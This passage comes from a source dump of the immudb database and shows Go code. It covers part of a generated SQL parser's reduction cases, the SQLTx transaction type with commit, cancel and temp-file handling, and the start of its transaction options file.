&SelectStmt{\n\t\t\t\tdistinct: yyDollar[2].distinct,\n\t\t\t\ttargets:  yyDollar[3].targets,\n\t\t\t\tds:       yyDollar[5].ds,\n\t\t\t\tindexOn:  yyDollar[6].colNames,\n\t\t\t\tjoins:    yyDollar[7].joins,\n\t\t\t\twhere:    yyDollar[8].exp,\n\t\t\t\tgroupBy:  yyDollar[9].cols,\n\t\t\t\thaving:   yyDollar[10].exp,\n\t\t\t\torderBy:  yyDollar[11].ordexps,\n\t\t\t\tlimit:    yyDollar[12].exp,\n\t\t\t\toffset:   yyDollar[13].exp,\n\t\t\t}\n\t\t}\n\tcase 115:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tdistinct: yyDollar[2].distinct,\n\t\t\t\ttargets:  yyDollar[3].targets,\n\t\t\t\tds:       &valuesDataSource{rows: []*RowSpec{{}}},\n\t\t\t}\n\t\t}\n\tcase 116:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.distinct = true\n\t\t}\n\tcase 117:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.distinct = false\n\t\t}\n\tcase 118:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.distinct = false\n\t\t}\n\tcase 119:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.distinct = true\n\t\t}\n\tcase 120:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.targets = nil\n\t\t}\n\tcase 121:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.targets = yyDollar[1].targets\n\t\t}\n\tcase 122:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.targets = []TargetEntry{{Exp: yyDollar[1].exp, As: yyDollar[2].id}}\n\t\t}\n\tcase 123:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.targets = append(yyDollar[1].targets, TargetEntry{Exp: yyDollar[3].exp, As: yyDollar[4].id})\n\t\t}\n\tcase 124:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sel = yyDollar[1].col\n\t\t}\n\tcase 125:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields}\n\t\t}\n\tcase 126:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: \"*\"}\n\t\t}\n\tcase 127:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col}\n\t\t}\n\tcase 128:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.jsonFields = []string{yyDollar[2].str}\n\t\t}\n\tcase 129:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str)\n\t\t}\n\tcase 130:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.col = &ColSelector{col: yyDollar[1].str}\n\t\t}\n\tcase 131:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.col = &ColSelector{table: yyDollar[1].str, col: yyDollar[3].str}\n\t\t}\n\tcase 134:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.str = yyDollar[1].keyword\n\t\t}\n\tcase 135:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = []string{yyDollar[1].str}\n\t\t}\n\tcase 136:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = append(yyDollar[1].colNames, yyDollar[3].str)\n\t\t}\n\tcase 137:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = []string{yyDollar[1].str}\n\t\t}\n\tcase 138:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = yyDollar[2].colNames\n\t\t}\n\tcase 139:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = nil\n\t\t}\n\tcase 140:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = yyDollar[2].colNames\n\t\t}\n\tcase 152:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.str = yyDollar[1].id\n\t\t}\n\tcase 153:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.str = string(yyDollar[1].keyword)\n\t\t}\n\tcase 186:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyDollar[1].tableRef.period = yyDollar[2].period\n\t\t\tyyDollar[1].tableRef.as = yyDollar[3].id\n\t\t\tyyVAL.ds = yyDollar[1].tableRef\n\t\t}\n\tcase 187:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &valuesDataSource{inferTypes: true, rows: yyDollar[3].rows}\n\t\t}\n\tcase 188:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id\n\t\t\tyyVAL.ds = yyDollar[2].stmt.(DataSource)\n\t\t}\n\tcase 189:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: \"databases\"}, as: yyDollar[4].id}\n\t\t}\n\tcase 190:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: \"tables\"}, as: yyDollar[4].id}\n\t\t}\n\tcase 191:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: \"table\", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}\n\t\t}\n\tcase 192:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: \"users\"}, as: yyDollar[4].id}\n\t\t}\n\tcase 193:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id}\n\t\t}\n\tcase 194:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id}\n\t\t}\n\tcase 195:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableRef = &tableRef{table: yyDollar[1].str}\n\t\t}\n\tcase 196:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod}\n\t\t}\n\tcase 197:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = nil\n\t\t}\n\tcase 198:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant}\n\t\t}\n\tcase 199:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant}\n\t\t}\n\tcase 200:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = nil\n\t\t}\n\tcase 201:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant}\n\t\t}\n\tcase 202:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant}\n\t\t}\n\tcase 203:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp}\n\t\t}\n\tcase 204:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp}\n\t\t}\n\tcase 205:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joins = nil\n\t\t}\n\tcase 206:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joins = yyDollar[1].joins\n\t\t}\n\tcase 207:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joins = []*JoinSpec{yyDollar[1].join}\n\t\t}\n\tcase 208:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...)\n\t\t}\n\tcase 209:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].colNames, cond: yyDollar[6].exp}\n\t\t}\n\tcase 210:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joinType = InnerJoin\n\t\t}\n\tcase 211:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.joinType = yyDollar[1].joinType\n\t\t}\n\tcase 212:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 213:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 214:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.cols = nil\n\t\t}\n\tcase 215:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.cols = yyDollar[3].cols\n\t\t}\n\tcase 216:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 217:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 218:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 219:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 220:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 221:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 222:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ordexps = nil\n\t\t}\n\tcase 223:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ordexps = yyDollar[3].ordexps\n\t\t}\n\tcase 224:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = nil\n\t\t}\n\tcase 225:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colNames = yyDollar[4].colNames\n\t\t}\n\tcase 226:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ordexps = []*OrdExp{{exp: yyDollar[1].exp, descOrder: yyDollar[2].opt_ord}}\n\t\t}\n\tcase 227:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ordexps = append(yyDollar[1].ordexps, &OrdExp{exp: yyDollar[3].exp, descOrder: yyDollar[4].opt_ord})\n\t\t}\n\tcase 228:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.opt_ord = false\n\t\t}\n\tcase 229:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.opt_ord = false\n\t\t}\n\tcase 230:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.opt_ord = true\n\t\t}\n\tcase 231:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.id = \"\"\n\t\t}\n\tcase 232:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.id = yyDollar[1].str\n\t\t}\n\tcase 233:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.id = yyDollar[2].str\n\t\t}\n\tcase 234:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.check = CheckConstraint{exp: yyDollar[2].exp}\n\t\t}\n\tcase 235:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.check = CheckConstraint{name: yyDollar[2].id, exp: yyDollar[4].exp}\n\t\t}\n\tcase 236:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 237:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[1].exp\n\t\t}\n\tcase 238:\n\t\tyyDollar = yyS[yypt-5 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &CaseWhenExp{\n\t\t\t\texp:      yyDollar[2].exp,\n\t\t\t\twhenThen: yyDollar[3].whenThenClauses,\n\t\t\t\telseExp:  yyDollar[4].exp,\n\t\t\t}\n\t\t}\n\tcase 239:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}}\n\t\t}\n\tcase 240:\n\t\tyyDollar = yyS[yypt-5 : yypt+1]\n\t\t{\n\t\t\tyyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp})\n\t\t}\n\tcase 241:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = nil\n\t\t}\n\tcase 242:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 243:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[1].exp\n\t\t}\n\tcase 244:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &BinBoolExp{left: yyDollar[1].exp, op: Or, right: yyDollar[3].exp}\n\t\t}\n\tcase 246:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &BinBoolExp{left: yyDollar[1].exp, op: And, right: yyDollar[3].exp}\n\t\t}\n\tcase 248:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp}\n\t\t}\n\tcase 250:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp}\n\t\t}\n\tcase 251:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}}\n\t\t}\n\tcase 252:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}}\n\t\t}\n\tcase 253:\n\t\tyyDollar = yyS[yypt-5 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &BinBoolExp{\n\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\tleft:  yyDollar[1].exp,\n\t\t\t\t\top:    GE,\n\t\t\t\t\tright: yyDollar[3].exp,\n\t\t\t\t},\n\t\t\t\top: And,\n\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\tleft:  yyDollar[1].exp,\n\t\t\t\t\top:    LE,\n\t\t\t\t\tright: yyDollar[5].exp,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase 254:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp}\n\t\t}\n\tcase 255:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: true, pattern: yyDollar[3].exp}\n\t\t}\n\tcase 257:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)}\n\t\t}\n\tcase 258:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)}\n\t\t}\n\tcase 259:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values}\n\t\t}\n\tcase 260:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[1].exp\n\t\t}\n\tcase 262:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp}\n\t\t}\n\tcase 263:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp}\n\t\t}\n\tcase 265:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp}\n\t\t}\n\tcase 266:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp}\n\t\t}\n\tcase 267:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp}\n\t\t}\n\tcase 269:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\ti, isInt := yyDollar[2].exp.(*Integer)\n\t\t\tif isInt {\n\t\t\t\ti.val = -i.val\n\t\t\t\tyyVAL.exp = i\n\t\t\t} else {\n\t\t\t\tyyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp}\n\t\t\t}\n\t\t}\n\tcase 271:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[2].exp\n\t\t}\n\tcase 273:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[1].sel\n\t\t}\n\tcase 274:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = yyDollar[1].value\n\t\t}\n\tcase 275:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType}\n\t\t}\n\tcase 276:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.exp = &ExtractFromTimestampExp{Field: yyDollar[3].timestampField, Exp: yyDollar[5].exp}\n\t\t}\n\tcase 277:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 278:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = true\n\t\t}\n\tcase 279:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeYear\n\t\t}\n\tcase 280:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeMonth\n\t\t}\n\tcase 281:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeDay\n\t\t}\n\tcase 282:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeHour\n\t\t}\n\tcase 283:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeMinute\n\t\t}\n\tcase 284:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.timestampField = TimestampFieldTypeSecond\n\t\t}\n\t}\n\tgoto yystack /* stack new state and value */\n}\n"
  },
  {
    "path": "embedded/sql/sql_tx.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\n// SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW\ntype SQLTx struct {\n\tengine *Engine\n\n\topts *TxOptions\n\n\ttx        *store.OngoingTx\n\ttempFiles []*os.File\n\n\tcatalog *Catalog // in-mem catalog\n\n\tmutatedCatalog bool // set when a DDL stmt was executed within the current tx\n\n\tupdatedRows      int\n\tlastInsertedPKs  map[string]int64 // last inserted PK by table name\n\tfirstInsertedPKs map[string]int64 // first inserted PK by table name\n\n\ttxHeader *store.TxHeader // header is set once tx is committed\n\n\tonCommittedCallbacks []onCommittedCallback\n}\n\ntype onCommittedCallback = func(sqlTx *SQLTx) error\n\nfunc (sqlTx *SQLTx) Catalog() *Catalog {\n\treturn sqlTx.catalog\n}\n\nfunc (sqlTx *SQLTx) IsExplicitCloseRequired() bool {\n\treturn sqlTx.opts.ExplicitClose\n}\n\nfunc (sqlTx *SQLTx) RequireExplicitClose() error {\n\tif sqlTx.updatedRows != 0 {\n\t\treturn store.ErrIllegalState\n\t}\n\n\tsqlTx.opts.ExplicitClose = true\n\n\treturn nil\n}\n\nfunc (sqlTx *SQLTx) Timestamp() time.Time {\n\treturn sqlTx.tx.Timestamp()\n}\n\nfunc (sqlTx *SQLTx) UpdatedRows() int {\n\treturn sqlTx.updatedRows\n}\n\nfunc (sqlTx *SQLTx) LastInsertedPKs() map[string]int64 {\n\treturn sqlTx.lastInsertedPKs\n}\n\nfunc (sqlTx *SQLTx) FirstInsertedPKs() map[string]int64 {\n\treturn sqlTx.firstInsertedPKs\n}\n\nfunc (sqlTx *SQLTx) TxHeader() *store.TxHeader {\n\treturn sqlTx.txHeader\n}\n\nfunc (sqlTx *SQLTx) sqlPrefix() []byte {\n\treturn sqlTx.engine.prefix\n}\n\nfunc (sqlTx *SQLTx) distinctLimit() int {\n\treturn sqlTx.engine.distinctLimit\n}\n\nfunc (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) {\n\treturn sqlTx.tx.NewKeyReader(rSpec)\n}\n\nfunc (sqlTx *SQLTx) get(ctx context.Context, key []byte) (store.ValueRef, error) {\n\treturn sqlTx.tx.Get(ctx, key)\n}\n\nfunc (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) error {\n\treturn sqlTx.tx.Set(key, metadata, value)\n}\n\nfunc (sqlTx *SQLTx) setTransient(key []byte, metadata *store.KVMetadata, value []byte) error {\n\treturn sqlTx.tx.SetTransient(key, metadata, value)\n}\n\nfunc (sqlTx *SQLTx) getWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) {\n\treturn sqlTx.tx.GetWithPrefix(ctx, prefix, neq)\n}\n\nfunc (sqlTx *SQLTx) Cancel() error {\n\tdefer sqlTx.removeTempFiles()\n\n\treturn sqlTx.tx.Cancel()\n}\n\nfunc (sqlTx *SQLTx) Commit(ctx context.Context) error {\n\tdefer sqlTx.removeTempFiles()\n\n\terr := sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// no need to wait for indexing to be up to date during commit phase\n\tsqlTx.txHeader, err = sqlTx.tx.AsyncCommit(ctx)\n\tif err != nil && !errors.Is(err, store.ErrNoEntriesProvided) {\n\t\treturn err\n\t}\n\n\tmerr := multierr.NewMultiErr()\n\n\tfor _, onCommitCallback := range sqlTx.onCommittedCallbacks {\n\t\terr := onCommitCallback(sqlTx)\n\t\tmerr.Append(err)\n\t}\n\n\treturn merr.Reduce()\n}\n\nfunc (sqlTx *SQLTx) Closed() bool {\n\treturn sqlTx.tx.Closed()\n}\n\nfunc (sqlTx *SQLTx) delete(ctx context.Context, key []byte) error {\n\treturn sqlTx.tx.Delete(ctx, key)\n}\n\nfunc (sqlTx *SQLTx) addOnCommittedCallback(callback onCommittedCallback) error {\n\tif callback == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tsqlTx.onCommittedCallbacks = append(sqlTx.onCommittedCallbacks, callback)\n\n\treturn nil\n}\n\nfunc (sqlTx *SQLTx) createTempFile() (*os.File, error) {\n\ttempFile, err := os.CreateTemp(\"\", \"immudb\")\n\tif err == nil {\n\t\tsqlTx.tempFiles = append(sqlTx.tempFiles, tempFile)\n\t}\n\treturn tempFile, err\n}\n\nfunc (sqlTx *SQLTx) removeTempFiles() error {\n\tfor _, file := range sqlTx.tempFiles {\n\t\terr := file.Close()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = os.Remove(file.Name())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (sqlTx *SQLTx) ListUsers(ctx context.Context) ([]User, error) {\n\tif sqlTx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\treturn sqlTx.engine.multidbHandler.ListUsers(ctx)\n}\n"
  },
  {
    "path": "embedded/sql/sql_tx_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\ntype TxOptions struct {\n\tReadOnly                bool\n\tSnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64\n\tSnapshotRenewalPeriod   time.Duration\n\tExplicitClose           bool\n\tUnsafeMVCC              bool\n\tExtra                   []byte\n}\n\nfunc DefaultTxOptions() *TxOptions {\n\ttxOpts := store.DefaultTxOptions()\n\n\treturn &TxOptions{\n\t\tReadOnly:                txOpts.Mode == store.ReadOnlyTx,\n\t\tSnapshotMustIncludeTxID: txOpts.SnapshotMustIncludeTxID,\n\t\tSnapshotRenewalPeriod:   